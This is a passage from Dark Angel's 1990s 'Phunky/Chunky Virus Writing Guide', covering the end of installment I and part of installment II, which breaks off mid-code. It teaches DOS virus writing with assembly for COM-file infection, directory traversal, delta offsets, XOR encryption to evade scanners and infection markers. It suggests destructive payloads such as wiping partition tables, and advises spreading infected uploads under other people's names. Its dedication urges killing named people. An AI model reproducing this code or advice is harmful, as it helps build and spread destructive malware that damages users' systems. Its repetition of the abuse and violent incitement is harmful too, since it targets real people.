Borland Turbo Assembler and/or Borland C++. I do not have a copy of
Zortech C (it was too large to download), but I would suspect that it is
also a good choice. Stay away from Microsoft compilers, as they are not as
flexible nor as efficient as those of other vendors.
A few more items round out the list of tools helpful in constructing virii.
The latest version of Norton Utilities is one of the most powerful programs
available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You
can find it on any decent board. It can be used during every step of the
process, from the writing to the testing. A good debugger helps. Memory
management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are
invaluable, especially when coding TSR virii. Sourcer, the commenting
disassembler, is useful when you wish to examine the code of other virii
(this is a good place to get ideas/techniques for your virus).
Now that you have your tools, you are ready to create a work of art
designed to smash the systems of cretins. There are three types of virii:
1) Tiny virii (under 500 bytes) which are designed to be undetectable
due to their small size. TINY is one such virus. They are
generally very simple because their code length is so limited.
2) Large virii (over 1,500 bytes) which are designed to be
undetectable because they cover their tracks very well (all that
code DOES have a use!). The best example of this is the Whale
virus, which is perhaps the best 'Stealth' virus in existence.
3) Other virii which are not designed to be hidden at all (the writers
don't give a shit). The common virus is like this. All
overwriting virii are in this category.
You must decide which kind of virus you wish to write. I will mostly be
discussing the second type (Stealth virii). However, many of the
techniques discribed may be easily applied to the first type (tiny virii).
However, tiny virii generally do not have many of the "features" of larger
virii, such as directory traversal. The third type is more of a
replicating trojan-type, and will warrant a brief (very, very brief!)
discussion later.
A virus may be divided into three parts: the replicator, the concealer, and
the bomb. The replicator part controls the spread of the virus to other
files, the concealer keeps the virus from being detected, and the bomb only
executes when the activation conditions of the virus (more on that later)
are satisfied.
-=-=-=-=-=-=-=-
THE REPLICATOR
-=-=-=-=-=-=-=-
The job of the replicator is to spread the virus throughout the system of
the clod who has caught the virus. How does it do this without destroying
the file it infects? The easiest type of replicator infects COM files. It
first saves the first few bytes of the infected file. It then copies a
small portion of its code to the beginning of the file, and the rest to the
end.
+----------------+ +------------+
| P1 | P2 | | V1 | V2 |
+----------------+ +------------+
The uninfected file The virus code
In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1
and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be
the same as the size of V1, but the size of P2 doesn't necessarily have to
be the same size as V2. The virus first saves P1 and copies it to the
either 1) the end of the file or 2) inside the code of the virus. Let's
assume it copies the code to the end of the file. The file now looks like:
+---------------------+
| P1 | P2 | P1 |
+---------------------+
Then, the virus copies the first part of itself to the beginning of the
file.
+---------------------+
| V1 | P2 | P1 |
+---------------------+
Finally, the virus copies the second part of itself to the end of the file.
The final, infected file looks like this:
+-----------------------------+
| V1 | P2 | P1 | V2 |
+-----------------------------+
The question is: What the fuck do V1 and V2 do? V1 transfers control of
the program to V2. The code to do this is simple.
JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes
Duh is a far pointer (Segment:Offset) pointing to the first instruction of
V2. Note that the value of Duh must be changed to reflect the length of
the file that is infected. For example, if the original size of the
program is 79 bytes, Duh must be changed so that the instruction at
CS:[155h] is executed. The value of Duh is obtained by adding the length
of V1, the original size of the infected file, and 256 (to account for the
PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal
(155 hex).
An alternate, albeit more difficult to understand, method follows:
DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement
This inserts the jump offset directly into the code following the jump
instruction. You could also replace the second line with
DW V2_Start - $
which accomplishes the same task.
V2 contains the rest of the code, i.e. the stuff that does everything else.
The last part of V2 copies P1 over V1 (in memory, not on disk) and then
transfers control to the beginning of the file (in memory). The original
program will then run happily as if nothing happened. The code to do this
is also very simple.
MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]
MOV DI, 0100h
JMP DI
This code assumes that P1 is located just before V2, as in:
P1_Stored_Here:
.
.
.
V2_Start:
It also assumes ES equals CS. If these assumptions are false, change the
code accordingly. Here is an example:
PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB
MOV DI, 0100h
JMP DI
This code first moves CS into ES and then sets the source pointer of MOVSB
to where P1 is located. Remember that this is all taking place in memory,
so you need the OFFSET of P1, not just the physical location in the file.
The offset of P1 is 100h higher than the physical file location, as COM
files are loaded starting from CS:[100h].
So here's a summary of the parts of the virus and location labels:
V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:
P2_Start:
P2_End:
P1_Start:
; First part of the program stored here for future use
P1_End:
V2_Start:
; Real Stuff
V2_End:
V1_Length EQU V1_End - V1_Start
Alternatively, you could store P1 in V2 as follows:
V2_Start:
P1_Start:
P1_End:
V2_End:
That's all there is to infecting a COM file without destroying it! Simple,
no? EXE files, however, are a little tougher to infect without rendering
them inexecutable - I will cover this topic in a later file.
Now let us turn our attention back to the replicator portion of the virus.
The steps are outlined below:
1) Find a file to infect
2) Check if it is already infected
3) If so, go back to 1
4) Infect it
5) If infected enough, quit
6) Otherwise, go back to 1
Finding a file to infect is a simple matter of writing a directory
traversal procedure and issuing FINDFIRST and FINDNEXT calls to find
possible files to infect. Once you find the file, open it and read the
first few bytes. If they are the same as the first few bytes of V1, then
the file is already infected. If the first bytes of V1 are not unique to
your virus, change it so that they are. It is *extremely* important that
your virus doesn't reinfect the same files, since that was how Jerusalem
was first detected. If the file wasn't already infected, then infect it!
Infection should take the following steps:
1) Change the file attributes to nothing.
2) Save the file date/time stamps.
3) Close the file.
4) Open it again in read/write mode.
5) Save P1 and append it to the end of the file.
6) Copy V1 to the beginning, but change the offset which it JMPs to so
it transfers control correctly. See the previous part on infection.
7) Append V2 to the end of the file.
8) Restore file attributes/date/time.
You should keep a counter of the number of files infected during this run.
If the number exceeds, say three, then stop. It is better to infect slowly
then to give yourself away by infecting the entire drive at once.
You must be sure to cover your tracks when you infect a file. Save the
file's original date/time/attributes and restore them when you are
finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code,
probably less, to do these few simple things which can do wonders for the
concealment of your program.
I will include code for the directory traversal function, as well as other
parts of the replicator in the next installment of my phunky guide.
-=-=-=-=-
CONCEALER
-=-=-=-=-
This is the part which conceals the program from notice by the everyday
user and virus scanner. The simplest form of concealment is the encryptor.
The code for a simple XOR encryption system follows:
encrypt_val db ?
decrypt:
encrypt:
mov ah, encrypt_val
mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret
Note the encryption and decryption procedures are the same. This is due to
the weird nature of XOR. You can CALL these procedures from anywhere in
the program, but make sure you do not call it from a place within the area
to be encrypted, as the program will crash. When writing the virus, set
the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end
sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning
of V2 to unencrypt the file so your program can run. When infecting a
file, first change the encrypt_val, then CALL encrypt, then write V2 to the
end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE
AREA TO BE ENCRYPTED!!!
This is how V2 would look with the concealer:
V2_Start:
Concealer_Start:
.
.
.
Concealer_End:
Replicator_Start:
.
.
.
Replicator_End:
Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:
Alternatively, you could move parts of the unencrypted stuff between
Part_To_Encrypt_End and V2_End.
The value of encryption is readily apparent. Encryption makes it harder
for virus scanners to locate your virus. It also hides some text strings
located in your program. It is the easiest and shortest way to hide your
virus.
Encryption is only one form of concealment. At least one other virus hooks
into the DOS interrupts and alters the output of DIR so the file sizes
appear normal. Another concealment scheme (for TSR virii) alters DOS so
memory utilities do not detect the virus. Loading the virus in certain
parts of memory allow it to survive warm reboots. There are many stealth
techniques, limited only by the virus writer's imagination.
-=-=-=-=-
THE BOMB
-=-=-=-=-
So now all the boring stuff is over. The nastiness is contained here. The
bomb part of the virus does all the deletion/slowdown/etc which make virii
so annoying. Set some activation conditions of the virus. This can be
anything, ranging from when it's your birthday to when the virus has
infected 100 files. When these conditions are met, then your virus does
the good stuff. Some suggestions of possible bombs:
1) System slowdown - easily handled by trapping an interrupt and
causing a delay when it activates.
2) File deletion - Delete all ZIP files on the drive.
3) Message display - Display a nice message saying something to the
effect of "You are fucked."
4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard
drive - This is very nasty, as most dimwits cannot fix this.
This is, of course, the fun part of writing a virus, so be original!
-=-=-=-=-=-=-=-
OFFSET PROBLEMS
-=-=-=-=-=-=-=-
There is one caveat regarding calculation of offsets. After you infect a
file, the locations of variables change. You MUST account for this. All
relative offsets can stay the same, but you must add the file size to the
absolute offsets or your program will not work. This is the most tricky
part of writing virii and taking these into account can often greatly
increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE
SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS!
If you don't, you'll get fucked over and your virus WILL NOT WORK! One
entire part of the guide will be devoted to this subject.
-=-=-=-
TESTING
-=-=-=-
Testing virii is a dangerous yet essential part of the virus creation
process. This is to make certain that people *will* be hit by the virus
and, hopefully, wiped out. Test thoroughly and make sure it activates
under the conditions. It would be great if everyone had a second computer
to test their virii out, but, of course, this is not the case. So it is
ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and
FAT. Norton is handy in this doing this. Do NOT disregard this advice
(even though I know that you will anyway) because you WILL be hit by your
own virii. When I wrote my first virus, my system was taken down for two
days because I didn't have good backups. Luckily, the virus was not overly
destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL
PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the
damage is not permanent. RamDrives are also useful for testing trojans,
but that is the topic of another file...
-=-=-=-=-=-=-
DISTRIBUTION
-=-=-=-=-=-=-
This is another fun part of virus writing. It involves sending your
brilliantly-written program through the phone lines to your local,
unsuspecting bulletin boards. What you should do is infect a file that
actually does something (leech a useful utility from another board), infect
it, and upload it to a place where it will be downloaded by users all over.
The best thing is that it won't be detected by puny scanner-wanna-bes by
McAffee, since it is new! Oh yeah, make sure you are using a false account
(duh). Better yet, make a false account with the name/phone number of
someone you don't like and upload the infected file under the his name.
You can call back from time to time and use a door such as ZDoor to check
the spread of the virus. The more who download, the more who share in the
experience of your virus!
I promised a brief section on overwriting virii, so here it is...
-=-=-=-=-=-=-=-=-
OVERWRITING VIRII
-=-=-=-=-=-=-=-=-
All these virii do is spread throughout the system. They render the
infected files inexecutable, so they are easily detected. It is simple to
write one:
+-------------+ +-----+ +-------------+
| Program | + |Virus| = |Virus|am |
+-------------+ +-----+ +-------------+
These virii are simple little hacks, but pretty worthless because of their
easy detectability. Enuff said!
-=-=-=-=-=-=-=-=-=-=-=-=-
WELL, THAT JUST ABOUT...
-=-=-=-=-=-=-=-=-=-=-=-=-
wraps it up for this installment of Dark Angel's Phunky virus writing
guide. There will (hopefully) be future issues where I discuss more about
virii and include much more source code (mo' source!). Till then, happy
coding!


594
textfiles.com/virus/ps-vir2.txt Normal file
View File

@@ -0,0 +1,594 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
/==== // // // /==== /| /|
// // // // // //| //|
===\ // // // ===\ //|| //||
// // \\ // // // ||// ||
====/ // \\ // ====/ // ||/ ||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DISCLAIMER: Pretend you see a disclaimer here.
99.44% of the code guaranteed to work.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DEDICATION: Please try your best to kill those
who made this possible, especially that dumb
bitch who doesn't know her own name (Patty),
and her lover Ross M. Greenberg.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GREETS -N- STUFF: Greets go to all the members
of PHALCON/SKISM. I wish to give buckets o'
thanks to Hellraiser, Garbageheap, and Demo-
gorgon. No thanks this time to Orion Rouge,
the godly master of idiocy.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Dark Angel's Chunky Virus Writing Guide
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLMENT II: THE REPLICATOR
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
In the last installment of my Virus Writing Guide, I explained the various
parts of a virus and went into a brief discussion about each. In this
issue, I shall devote all my attention towards the replicator portion of
the virus. I promised code and code I shall present.
However, I shall digress for a moment because it has come to my attention
that some mutant copies of the first installment were inadvertently
released. These copies did not contain a vital section concerning the
calculation of offsets.
You never know where your variables and code are going to wind up in
memory. If you think a bit, this should be pretty obvious. Since you are
attaching the virus to the end of a program, the location in memory is
going to be changed, i.e. it will be larger by the size of the infected
program. So, to compensate, we must take the change in offset from the
original virus, or the delta offset, and add that to all references to
variables.
Instructions that use displacement, i.e. relative offsets, need not be
changed. These instructions are the JA, JB, JZ class of instructions, JMP
SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of,
say, JMP FAR PTR.
Suppose in the following examples, si is somehow loaded with the delta
offset.
Replace
mov ax, counter
With
mov ax, word ptr [si+offset counter]
Replace
mov dx, offset message
With
lea dx, [si+offset message]
You may be asking, "how the farg am I supposed to find the delta offset!?"
It is simple enough:
call setup
setup:
pop si
sub si, offset setup
An explanation of the above fragment is in order. CALL setup pushes the
location of the next instruction, i.e. offset setup, onto the stack. Next,
this location is POPed into si. Finally, the ORIGINAL offset of setup
(calculated at compile-time) is subtracted from si, giving you the delta
offset. In the original virus, the delta offset will be 0, i.e. the new
location of setup equals the old location of setup.
It is often preferable to use bp as your delta offset, since si is used in
string instructions. Use whichever you like. I'll randomly switch between
the two as suits my mood.
Now back to the other stuff...
A biological virus is a parasitic "organism" which uses its host to spread
itself. It must keep the host alive to keep itself "alive." Only when it
has spread everywhere will the host die a painful, horrible death. The
modern electronic virus is no different. It attaches itself to a host
system and reproduces until the entire system is fucked. It then proceeds
and neatly wrecks the system of the dimwit who caught the virus.
Replication is what distinguishes a virus from a simple trojan. Anybody
can write a trojan, but a virus is much more elegant. It acts almost
invisibly, and catches the victim off-guard when it finally surfaces. The
first question is, of course, how does a virus spread? Both COM and EXE
infections (along with sample infection routines) shall be presented.
There are two major approaches to virii: runtime and TSR. Runtime virii
infect, yup, you guessed it, when the infected program is run, while TSR
virii go resident when the infected programs are run and hook the
interrupts and infect when a file is run, open, closed, and/or upon
termination (i.e. INT 20h, INT 21h/41h). There are advantages and
disadvantages to each. Runtime virii are harder to detect as they don't
show up on memory maps, but, on the other hand, the delay while it searches
for and infects a file may give it away. TSR virii, if not properly done,
can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in
general, smaller since they don't need a function to search for files to
infect. They are also faster than runtime virii, also because they don't
have to search for files to infect. I shall cover runtime virii here, and
TSR virii in a later installment.
Here is a summary of the infection procedure:
1) Find a file to infect.
2) Check if it meets the infection criteria.
3) See if it is already infected and if so, go back to 1.
4) Otherwise, infect the file.
5) Cover your tracks.
I shall go through each of these steps and present sample code for each.
Note that although a complete virus can be built from the information
below, you cannot merely rip the code out and stick it together, as the
fragments are from various different virii that I have written. You must
be somewhat familiar with assembly. I present code fragments; it is up to
you to either use them as examples or modify them for your own virii.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 1 - FIND A FILE TO INFECT
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Before you can infect a file, you have to find it first! This can be a
bottleneck in the performance of the virus, so it should be done as
efficiently as possible. For runtime virii, there are a few possibilities.
You could infect files in only the current directory, or you could write a
directory traversal function to infect files in ALL directories (only a few
files per run, of course), or you could infect files in only a few select
directories. Why would you choose to only infect files in the current
directory? It would appear to limit the efficacy of the infections.
However, this is done in some virii either to speed up the virus or to
shorten the code size.
Here is a directory traversal function. It uses recursion, so it is rather
slow, but it does the job. This was excerpted with some modifications from
The Funky Bob Ross Virus [Beta].
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
call infect_directory ; Go to search & destroy routines
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ; else load dirname
mov ah,3Bh ; and changedir there
int 21h
jc short donext ; Do next if invalid
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ; Load space allocated for DTA
mov ah,1Ah ; and set DTA to this new area
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ; If OK, jmp elsewhere
cmp word ptr [si+offset nest], 0 ; If root directory
; (nest == 0)
jle short cleanup ; then Quit
dec word ptr [si+offset nest] ; Else decrement nest
lea dx, [si+offset back_dir]; '..'
mov ah,3Bh ; Change directory
int 21h ; to previous one
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp
; Variables
nest dw 0
back_dir db '..',0
dir_mask db '*.*',0
The code is self-explanatory. Make sure you have a function called
infect_directory which scans the directory for possible files to infect and
makes sure it doesn't infect already-infected files. This function, in
turn, calls infect_file which infects the file.
Note, as I said before, this is slow. A quicker method, albeit not as
global, is the "dot dot" method. Hellraiser showed me this neat little
trick. Basically, you keep searching each directory and, if you haven't
infected enough, go to the previous directory (dot dot) and try again, and
so on. The code is simple.
dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; Carry set if in root
; Variables
dotdot db '..',0
Now you must find a file to infect. This is done (in the fragments above)
by a function called infect_directory. This function calls FINDFIRST and
FINDNEXT a couple of times to find files to infect. You should first set
up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that
will affect the command-line parameters of the infected program when
control is returned to it. This is easily done with the following:
mov ah, 1Ah ; Set DTA
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
int 21h
Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST
and FINDNEXT calls:
mov ah, 4Eh ; Find first file
mov cx, 0007h ; Any file attribute
lea dx, [bp+offset file_mask]; DS:[DX] --> filemask
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Find next file
int 21h
jnc found_another
none_found:
Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively,
you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 2 - CHECK VERSUS INFECTION CRITERIA
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Your virus should be judicious in its infection. For example, you might
not want to infect COMMAND.COM, since some programs (i.e. the puny
FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to
infect the first valid file in the directory. Ambulance Car is an example
of such a virus. Regardless, if there is some infection criteria, you
should check for it now. Here's example code checking if the last two
letters are 'ND', a simple check for COMMAND.COM:
cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
jz fail_check
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 3 - CHECK FOR PREVIOUS INFECTION
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Every virus has certain characteristics with which you can identify whether
a file is infected already. For example, a certain piece of code may
always occur in a predictable place. Or perhaps the JMP instruction is
always coded in the same manner. Regardless, you should make sure your
virus has a marker so that multiple infections of the same file do not
occur. Here's an example of one such check (for a COM file infector):
mov ah,3Fh ; Read first three
mov cx, 3 ; bytes of the file
lea dx, [bp+offset buffer] ; to the buffer
int 21h
mov ax, 4202h ; SEEK from EOF
xor cx, cx ; DX:CX = offset
xor dx, dx ; Returns filesize
int 21h ; in DX:AX
sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
In this example, BX is assumed to hold a file handle to the program to be
checked for infection and virus_size equals the size of the virus. Buffer
is assumed to be a three-byte area of empty space. This code fragment
reads the first three bytes into buffer and then compares the JMP location
(located in the word beginning at buffer+1) to the filesize If the JMP
points to virus_size bytes before the EOF, then the file is already
infected with this virus. Another method would be to search at a certain
location in the file for a marker byte or word. For example:
mov ah, 3Fh ; Read the first four
mov cx, 4 ; bytes of the file into
lea dx, [bp+offset buffer] ; the buffer.
int 21h
cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
jz bomb_out ; byte for the marker
infect_it:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 4 - INFECT THE FILE
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This is the "guts" of the virus, the heart of the replicator. Once you
have located a potential file, you must save the attributes, time, date,
and size for later use. The following is a breakdown of the DTA:
Offset Size What it is
0h 21 BYTES Reserved, varies as per DOS version
15h BYTE File attribute
16h WORD File time
18h WORD File date
1Ah DWORD File size
1Eh 13 BYTES ASCIIZ filename + extension
As you can see, the DTA holds all the vital information about the file that
you need. The following code fragment is a sample of how to save the info:
lea si, [bp+offset DTA+15h] ; Start from attributes
mov cx, 9 ; Finish with size
lea di, [bp+offset f_attr] ; Move into your locations
rep movsb
; Variables needed
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
You can now change the file attributes to nothing through INT 21h/Function
43h/Subfunction 01h. This is to allow infection of system, hidden, and
read only files. Only primitive (or minimal) virii cannot handle such
files.
lea dx, [bp+offset DTA+1eh] ; DX points to filename in
mov ax, 4301h ; DTA
xor cx, cx ; Clear file attributes
int 21h ; Issue the call
Once the attributes have been annihilated, you may open the file with
callous impunity. Use a handle open in read/write mode.
lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
mov ax, 3d02h ; Open read/write mode
int 21h ; duh.
xchg ax, bx ; Handle is more useful in
; BX
Now we come to the part you've all been waiting for: the infection routine.
I am pleased to present code which will handle the infection of COM files.
Yawn, you say, I can already do that with the information presented in the
previous installment. Ah, but there is more, much more. A sample EXE
infector shall also be presented shortly.
The theory behind COM file infection was covered in the last installment,
so I shall not delve into the details again. Here is a sample infector:
; Sample COM infector. Assumes BX holds the file handle
; Assume COM file passes infection criteria and not already infected
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h
mov ax, 4200h ; Move file pointer to
xor cx, cx ; the beginning of the
xor dx, dx ; file
int 21h
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP
; Encode JMP instruction to replace beginning of the file
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP
; Write the JMP instruction to the beginning of the file
mov ah, 40h ; Write CX bytes to
mov cx, 3 ; handle in BX from
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h
mov ax, 4202h ; Move file pointer to
xor cx, cx ; end of file
xor dx, dx
int 21h
mov ah, 40h ; Write CX bytes
